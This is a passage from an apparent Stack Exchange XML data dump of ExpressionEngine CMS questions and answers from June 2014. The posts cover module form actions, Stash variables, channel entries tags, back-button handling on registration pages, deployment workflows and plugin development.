  <row Id="22451" PostTypeId="2" ParentId="22450" CreationDate="2014-06-05T08:43:04.230" Score="2" Body="&lt;p&gt;&lt;strike&gt;Usually it is used for  making form hidden fields in modules. In your  case (for simple form) it is possible better to use  &lt;strong&gt;{AID:class:method}&lt;/strong&gt; tag in template: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot;&amp;gt;&#xA;&amp;lt;input type='hidden' name='ACT' value='{AID:Lb_cart_ext:redeem_coupon}' &amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;{csrf_token}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I think it is first time when I see that somebody use it with extension. Don't even know if it will work.&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made couple tests  - you can't use actions with extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you need to create module if you want proceed forms this way (&lt;strong&gt;Bevin&lt;/strong&gt; describe it). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternative way is add &lt;strong&gt;session_start&lt;/strong&gt; or &lt;strong&gt;session_endt&lt;/strong&gt; hook and check for specific _POST data to start proceed form by extension.&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-06-05T09:18:06.263" LastActivityDate="2014-06-05T09:18:06.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22452" PostTypeId="2" ParentId="22450" CreationDate="2014-06-05T08:53:22.737" Score="2" Body="&lt;p&gt;If I am understanding this correctly what you  need to go is create the form that will be displayed this is where you would pass the action id to the form.&#xA;YEah this won't work in an extension. please move it to a module &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to do this you say, well let's say in your module you create another function that will generate the form and with all the required data  and when you call this function on the front end it will display the entire for with all you fields required etc .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg this is in your module &#xA;&#xA;&#xA;&lt;p&gt;//inside this you will get your action id &lt;/p&gt;&#xA;&#xA;&lt;p&gt;$action_id = ee()-&gt;functions-&gt;fetch_action_id('Lb_cart_ext', 'redeem_coupon');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;// you  will then pass your action id along with your other form data to a ee form //declaration function. you will first need to build your form data this is done like this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;// Build an array with the form data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$hidden_fields = array('ACT'=&gt; action_id,'other_hidden_items'=&gt;$other_Data);&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$form_data = array(&#xA;    &quot;id&quot; =&amp;gt; ee()-&amp;gt;TMPL-&amp;gt;form_id,&#xA;    &quot;class&quot; =&amp;gt; ee()-&amp;gt;TMPL-&amp;gt;form_class,&#xA;    &quot;hidden_fields&quot; =&amp;gt; $hidden_fields&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;// Fetch contents of the tag pair, ie, the form contents this gets your inputs you have add     //to your  form i.e your other inputs&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tagdata = ee()-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;//finally declare the form with all the required form data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$form = ee()-&gt;functions-&gt;form_declaration($form_data) .$tagdata . &quot;close form tags&quot;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;//return the form&lt;/p&gt;&#xA;&#xA;&lt;p&gt;return $form&lt;/p&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On your template it will then look something like this &#xA;&#xA;{exp:module_name:form class=&quot;test_form&quot;}&#xA; //input name=&quot;fav_car&quot; &#xA;//input submit type=&quot;submit&quot; &#xA;{/exp:module_name:form}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="3024" LastEditorUserId="3024" LastEditDate="2014-06-05T09:13:56.790" LastActivityDate="2014-06-05T09:13:56.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22453" PostTypeId="2" ParentId="22127" CreationDate="2014-06-05T11:29:32.380" Score="0" Body="&lt;p&gt;Objective HTML &lt;a href=&quot;http://devot-ee.com/add-ons/postmaster&quot; rel=&quot;nofollow&quot;&gt;Postmaster&lt;/a&gt; add-on takes care of all of your emails regardless of the condition! I strongly recommend using this add-on! Read the documentation and see for yourself..&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-05T11:29:32.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22454" PostTypeId="1" AcceptedAnswerId="23714" CreationDate="2014-06-05T11:33:06.177" Score="3" ViewCount="186" Body="&lt;p&gt;The website I am busy developing contains a shopping cart and after 2 hours of no user activity, the current cart is considered abandoned and should send the user an email regarding this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Expresso-Store as my shopping cart and considering the Postmaster add-on for handling my emails. Will the Postmaster add-on handle the sending of email after 2 hours of inactivity?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-15T21:30:23.840" Title="Abandoned Cart Emails (Expresso-Store)" Tags="|expresso-store|ee2|postmaster|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22455" PostTypeId="1" AcceptedAnswerId="22457" CreationDate="2014-06-05T11:35:17.290" Score="0" ViewCount="78" Body="&lt;p&gt;I have the following template that sets values, including a set_list for a Channel Images field, but I can't get the Channel Images data to be displayed in the stash layout;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:layouts:page}&#xA;&#xA;{exp:channel:entries &#xA;    channel=&quot;shop-pages&quot;&#xA;    disable=&quot;{global:channel_disable_basic}&quot;&#xA;    require_entry=&quot;yes&quot;&#xA;}&#xA;    {exp:stash:set parse_tags=&quot;yes&quot; parse_depth=&quot;3&quot;}&#xA;        {stash:meta}{exp:nsm_better_meta:template entry_id=&quot;{entry_id}&quot;}{/stash:meta}&#xA;        {stash:page_title}{title}{/stash:page_title}&#xA;        {stash:page_entry_id}{entry_id}{/stash:page_entry_id}&#xA;    {/exp:stash:set}&#xA;&#xA;    {exp:stash:set_list name=&quot;images&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;3&quot;}&#xA;        {cf_page_heroes}&#xA;            {stash:page_hero_image}{image:url}{/stash:page_hero_image}&#xA;            {stash:page_hero_title}{image:title}{/stash:page_hero_title}&#xA;            {stash:page_hero_description}{image:description}{/stash:page_hero_description}&#xA;        {/cf_page_heroes}&#xA;    {/exp:stash:set_list}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I can't get the Channel Images data to be displayed in the stash layout with the following code (it simply outputs the expressionengine tags);&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;{exp:stash:page_title}&amp;lt;/h1&amp;gt;&#xA;&#xA;{exp:stash:get_list name=&quot;images&quot;}&#xA;    {stash:page_hero_image}&#xA;    {stash:page_hero_title}&#xA;    {stash:page_hero_description}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone advisse what might be wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2014-06-05T12:32:02.457" Title="Can't output Channel Images data with Stash" Tags="|stash|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22456" PostTypeId="2" ParentId="22441" CreationDate="2014-06-05T11:40:18.083" Score="1" Body="&lt;p&gt;Why not add the items to discount and check free shipping .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/control_panel_discounts.html&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/control_panel_discounts.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3024" LastActivityDate="2014-06-05T11:40:18.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22457" PostTypeId="2" ParentId="22455" CreationDate="2014-06-05T12:32:02.457" Score="1" Body="&lt;p&gt;The variables inside &lt;code&gt;get_list&lt;/code&gt; should not be prepended with &lt;code&gt;stash:&lt;/code&gt; - You only do that when you're getting or setting a single variable directly, but it's your parent &lt;code&gt;get_list&lt;/code&gt; tag which is doing the getting, so you should just get the vars as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;images&quot;}&#xA;    {page_hero_image}&#xA;    {page_hero_title}&#xA;    {page_hero_description}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-06-05T12:32:02.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22458" PostTypeId="1" CreationDate="2014-06-05T12:45:38.007" Score="2" ViewCount="79" Body="&lt;p&gt;I have a page in a website created with expressionengine. In my site, posts are shown with exerpt and by clicking the 'readmore&quot; using  {title_permalink=''} you go to a 'single-post' page. On that template that is then shown i wan't to display some message from another channel, but the result is nothing... I do have result when i use the same code on the page where all the postst are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can one place a 'entries tag' on a page which is generated by a {title_permalink=''}??&lt;/p&gt;&#xA;" OwnerUserId="3191" LastEditorUserId="159" LastEditDate="2014-06-06T08:00:22.563" LastActivityDate="2014-06-06T08:00:22.563" Title="ExpressionEngine 'loop'" Tags="|channel-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22459" PostTypeId="1" AcceptedAnswerId="22466" CreationDate="2014-06-05T13:18:09.487" Score="1" ViewCount="122" Body="&lt;p&gt;Having some issues with paths on my build, i get a different output using {site_url} to {path='site_index'}, {site_url} outputs the correct value but {path='site_index'} outputs the correct value with lots of backslashes on the end, really can't work out why, any ideas as to why this would happen? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{site_url} - outputs &lt;a href=&quot;http://www.domain.co.uk/&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.co.uk/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{path='site_index'} - outputs &lt;a href=&quot;http://www.domain.co.uk//////////////////////&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.co.uk//////////////////////&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're using the standard EE config.php and the correct URL is in general confiration. We're on v2.8.1 of EE and are using Structure, really can't think what else would be causing this?&lt;/p&gt;&#xA;" OwnerUserId="1014" LastEditorUserId="115" LastEditDate="2014-06-05T21:00:31.183" LastActivityDate="2014-06-05T21:00:31.183" Title="Inconsistent URL paths" Tags="|url|config|segments|transcribe|site-url|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22460" PostTypeId="1" AcceptedAnswerId="22465" CreationDate="2014-06-05T13:26:45.297" Score="2" ViewCount="156" Body="&lt;p&gt;We're working on an EE site where we have a multi page registration process using FreeMember. Works great but we're experiencing issues in testing with users opting to use the 'back button' in their browser which results in them being returned to a registration screen where they then re-attempt registration (confusion ensues).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On completion of registration they are automatically logged in. Is there some best practice to deal with such situations? headers to prevent caching of the registration page (not sure that will work) or a jQuery snippet to sniff if they are logged in and redirect to a profile edit page if they are?&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-06-05T13:55:24.977" Title="Handling back button happy users on member sites" Tags="|jquery|freemember|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22461" PostTypeId="2" ParentId="22458" CreationDate="2014-06-05T13:29:01.920" Score="3" Body="&lt;p&gt;It doesn't matter how you link to the page, it matters what the current page's URL is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, you should be able to use a basic Channel Entries tag with a couple of important parameters. Note: Do not put one Channel Entries tag inside of another.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_channel&quot; dynamic=&quot;no&quot; limit=&quot;5&quot;}&#xA;  {title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-06-05T13:29:01.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22462" PostTypeId="1" AcceptedAnswerId="23586" CreationDate="2014-06-05T13:39:39.227" Score="1" ViewCount="83" Body="&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt; What is everyone doing to deploy (capistrano) and the redeploy after the client has changed files on production?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Background:&lt;/strong&gt;&#xA;I have a site in production now. I have deploying down pat with a custom Capistrano script.  Life is (was) great...until the client started editing templates directly on the server (as they should since they won't be doing deploys like me).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My NEW deploy steps now look like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Grab a DB dump of the Production database&lt;/li&gt;&#xA;&lt;li&gt;Import this DB dump into my local database&lt;/li&gt;&#xA;&lt;li&gt;Delete all local templates from my dev folder and ensure the template group folders have write privileges&lt;/li&gt;&#xA;&lt;li&gt;Synchronize the templates locally to recreate the files (locally in the EE admin)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Problem is Git sees these files as changed and it just doesn't seem right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There must be a better way!  One thought is to sftp all templates from Production to local, which would grab the newly edited templates files, but even that seems a bit crazy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="3121" LastActivityDate="2014-06-10T16:00:42.663" Title="Deploying and Redeploying ExpressionEngine site on LAMP (templates issue)" Tags="|templates|deployment|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22463" PostTypeId="2" ParentId="22460" CreationDate="2014-06-05T13:40:16.967" Score="1" Body="&lt;p&gt;You could add in a script that requires the page to reload/refresh if the user hits the back button. It's based on the time the page was first hit. Haven't tested this since I had it working on multi-page registration form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;  $(document).ready(function() {&#xA;    var d = new Date();&#xA;    d = d.getTime();&#xA;    if ($('#reloadValue').val().length == 0) {&#xA;        $('#reloadValue').val(d);&#xA;        $('body').show(); // your site may not need this line&#xA;    } else {&#xA;        $('#reloadValue').val('');&#xA;        location.reload();&#xA;    }&#xA;  });&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;input id=&quot;reloadValue&quot; type=&quot;hidden&quot; name=&quot;reloadValue&quot; value=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-06-05T13:40:16.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22464" PostTypeId="2" ParentId="22458" CreationDate="2014-06-05T13:45:42.270" Score="4" Body="&lt;p&gt;When displaying channel:entries on a page where the url does not determine that particular conent, for example a sidebar list of recent entries you need to add the &lt;strong&gt;dynamic=&quot;no&quot;&lt;/strong&gt; parameter to your channel entries tag.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-06-05T13:45:42.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22465" PostTypeId="2" ParentId="22460" CreationDate="2014-06-05T13:55:24.977" Score="2" Body="&lt;p&gt;Ultimately I've decided on the really rather simple solution as follows. An EE template at 'site/ajax_is_logged_in' with the following markup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in}1{if:else}0{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the registration form template I use the following jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function is_logged_in() {&#xA;    $.get( &quot;/site/ajax_is_logged_in&quot;, function(logged_in) {&#xA;        if (logged_in==1) {&#xA;            window.location.href = &quot;/site/profile&quot;;&#xA;        }&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and just call it on page load. :)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-06-05T13:55:24.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22466" PostTypeId="2" ParentId="22459" CreationDate="2014-06-05T14:13:32.337" Score="2" Body="&lt;p&gt;Turns out this was due to Transcribe, we needed to use {exp:transcribe:uri path=&quot;/&quot;} paths!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-06-05T14:13:32.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22467" PostTypeId="2" ParentId="22401" CreationDate="2014-06-05T14:37:14.233" Score="3" Body="&lt;p&gt;Unfortunately, it's not currently possible (as of Content Elements 1.6.10) to rename a Content Element. The only workaround is to delete an element and create a new one. I've made a feature request for this to be added though.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2014-06-05T14:37:14.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22468" PostTypeId="2" ParentId="22442" CreationDate="2014-06-05T16:18:55.400" Score="0" Body="&lt;p&gt;I'm pretty sure you can use multiple search parameters, so just add 3 separate ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, Robson makes a good point that these items really belong in a single field. You could use categories or a custom field for this, and either should work fine in Channel Form.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-06-05T16:18:55.400" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22469" PostTypeId="2" ParentId="22462" CreationDate="2014-06-05T16:34:29.027" Score="0" Body="&lt;p&gt;I'd say the client shouldn't be changing &lt;em&gt;anything&lt;/em&gt; on production other than content (a whole other synching issue).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If changes needed to be made then they should be made in a dev environment and pushed to a code repository then deployed after testing. That's why we have dev-&gt;staging-&gt;production workflows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the client has the technical nous to make these template changes is it not reasonable to assume they could learn to use Git in a basic way and join the &quot;regular&quot; development process?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-06-05T16:34:29.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22470" PostTypeId="1" CreationDate="2014-06-05T16:40:45.700" Score="1" ViewCount="99" Body="&lt;p&gt;I'm querying an external timetable database, and I need to get the start and end points of the journey to use in a hidden field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:get_piers:departure_pier cruise_id=&quot;{cruise_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:get_piers:arrival_pier cruise_id=&quot;{cruise_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{cruise_id} is simply a numeric value that is set in the EE channel, but relates to the external database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've created a plugin that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Get_piers {&#xA;&#xA;    public $return_data;&#xA;    public $cruise_id;&#xA;&#xA;    /**&#xA;     * Constructor&#xA;     */&#xA;    public function __construct()&#xA;    {&#xA;    $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    //get cruise id from template tag&#xA;    $this-&amp;gt;cruise_id = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('cruise_id');&#xA;    //connect to external db&#xA;    $this-&amp;gt;bookings_db = $this-&amp;gt;EE-&amp;gt;load-&amp;gt;database('timetable', TRUE);&#xA;    }&#xA;&#xA;// ----------------------------------------------------------------&#xA;&#xA;/**&#xA; * Departure Point&#xA; */&#xA;function departure_pier() {&#xA;    $piers = $this-&amp;gt;bookings_db-&amp;gt;select('depPier')&#xA;            -&amp;gt;from('tbl_cruises')&#xA;            -&amp;gt;where('cruiseID', $this-&amp;gt;cruise_id)&#xA;            -&amp;gt;get();&#xA;    return $piers-&amp;gt;row('depPier');&#xA;    }&#xA;&#xA;function arrival_pier() {   &#xA;    $piers = $this-&amp;gt;bookings_db-&amp;gt;select('arrPier')&#xA;            -&amp;gt;from('tbl_cruises')&#xA;            -&amp;gt;where('cruiseID', $this-&amp;gt;cruise_id)&#xA;            -&amp;gt;get();&#xA;    return $piers-&amp;gt;row('arrPier');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that the value for $this-&gt;cruise_id is showing in the query as '0', but if I try to return just the value for $this-&gt;cruise_id (outside the sql), I get the correct number passed through from the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing? I'm guessing its something to do with visibility inside/outside the function, but having tried lots of alternatives, it just ain't working for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone offer any pointers? &lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2016-06-11T05:08:01.803" Title="Plugin Development - using template params in a function" Tags="|add-on-development|plugin|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="22471" PostTypeId="2" ParentId="20528" CreationDate="2014-06-05T16:47:32.263" Score="5" Body="&lt;p&gt;I was able to fix this by adding back in the indent block plugin from CKEditor. The process of doing so is as follows...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download the &lt;a href=&quot;http://ckeditor.com/addon/indentblock&quot;&gt;CKEditor Indent Block Plugin&lt;/a&gt;. Make sure to download the version that matches the version of CKEditor being used by WYGWAM. Check the &lt;a href=&quot;http://docs.pixelandtonic.com/wygwam/changelog.html&quot;&gt;WYGWAM changelog&lt;/a&gt; if you're not sure.&lt;/li&gt;&#xA;&lt;li&gt;Unzip and install that folder to themes/third_party/wygwam/lib/ckeditor/plugins/&lt;/li&gt;&#xA;&lt;li&gt;In the Control Panel, go to Add-ons -&gt; Modules -&gt; Wygwam.&lt;/li&gt;&#xA;&lt;li&gt;Select the editor configuration you want to have this added to.&lt;/li&gt;&#xA;&lt;li&gt;For the Dropdown &quot;Add an advanced setting&quot; choose &quot;extraPlugins.&quot;&lt;/li&gt;&#xA;&lt;li&gt;Paste &quot;indentblock&quot; without quotes into the field provided and click update.&lt;/li&gt;&#xA;&lt;li&gt;Repeat 4 through 6 for any other editor configurations as needed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Fair warning, you will need to add this plugin every time you perform a WYGWAM update. Ideally this originally standard feature will be added back in for a future release.&lt;/p&gt;&#xA;" OwnerUserId="2043" LastActivityDate="2014-06-05T16:47:32.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22472" PostTypeId="2" ParentId="21390" CreationDate="2014-06-05T17:55:30.340" Score="0" Body="&lt;p&gt;It ended up just being a path issue. When they moved the install, they didn't update some of the paths to the new server path.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2014-06-05T17:55:30.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22473" PostTypeId="1" AcceptedAnswerId="22490" CreationDate="2014-06-05T18:00:50.350" Score="0" ViewCount="149" Body="&lt;p&gt;I am trying to use low variables and the grid together to allow the client to create dynamic pages. I have the grid set up to create a title and then another field for the page content. I want to list the page titles on the side and when clicked shows the corresponding page content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? I have it currently populating the side column with the page titles with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;lv_patient&quot;}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path=&quot;patient/{exp:create_url_title}{lv_patient:page_title}{/exp:create_url_title}&quot;}&quot;&amp;gt;{lv_patient:page_title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am then pulling in the page content with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;lv_patient&quot;}{lv_patient:page_content}{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which just pulls in all the content not the stuff specific to the corresponding title. &lt;/p&gt;&#xA;" OwnerUserId="1187" LastActivityDate="2014-06-06T07:25:13.527" Title="creating dynamic pages with Low Variables" Tags="|grid|low-variables|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22474" PostTypeId="2" ParentId="22473" CreationDate="2014-06-05T18:52:16.290" Score="1" Body="&lt;p&gt;&lt;strong&gt;Modular pages&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created dynamic/modular pages in the past. My favourite method so far is to create a set of modules as channels:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;video module&lt;/li&gt;&#xA;&lt;li&gt;Text Module&lt;/li&gt;&#xA;&lt;li&gt;Text and Image module (image left/image right setting)&lt;/li&gt;&#xA;&lt;li&gt;etc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I then create a modular page channel which is essentially just a title and a relationship/play field. Clients can then create and publish modules and then assemble / order these modules to create pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to reuse modules in various pages and, should the client need other modules, they can be easily created. Clients has maximum flexibility, while I retain as much control on the outputted code as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Low variables&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding low variables, I look at it as global variables on steroids. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make all the bits and pieces of content that do not belong in a channel editable easily by the client (including &quot;advanced&quot; stuff like configuration options (yay for early parsing), homepage slider content, etc).&lt;/li&gt;&#xA;&lt;li&gt;Nice replacement for native snippets (the save as text option is a god send if you use git).&lt;/li&gt;&#xA;&lt;li&gt;etc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="141" LastActivityDate="2014-06-05T18:52:16.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22475" PostTypeId="1" CreationDate="2014-06-05T19:14:06.937" Score="1" ViewCount="68" Body="&lt;p&gt;In the past, I've mainly coded Home page Heroes the following ways:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) individual channel tags with the offset parameter&#xA;2) Low Variables &#xA;3) Setup a custom feature that basically flags that the entry is for the hero. &#xA;4) an individual channel, and use the sticky functionality to designate which one should appear in the hero. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to think of a creative way to code a Hero where there are 6 stories with one being the &quot;Headline&quot; Story for the day. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts would be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2826" LastEditorUserId="2826" LastEditDate="2014-06-05T19:28:28.617" LastActivityDate="2014-06-05T23:49:57.500" Title="How do you code your Home Page heroes" Tags="|channel-entries|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22476" PostTypeId="1" AcceptedAnswerId="23580" CreationDate="2014-06-05T19:19:46.157" Score="2" ViewCount="671" Body="&lt;p&gt;Is it possible to use dynamic urls in {segment_1}. I prefer not to use a plugin and might opt for a mod_rewrite solution but I am curious if this is possible out of the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example... &lt;a href=&quot;http://domain.com/url-title&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/url-title&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To further elaborate, I want a url structure that will allow me to do this type of url structure.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://domain.com/dynmic-url/&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/dynmic-url/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://domain.com/dynmic-url/admin&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/dynmic-url/admin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://domain.com/dynmic-url/admin/events&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/dynmic-url/admin/events&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://domain.com/dynmic-url/admin/communicate&quot; 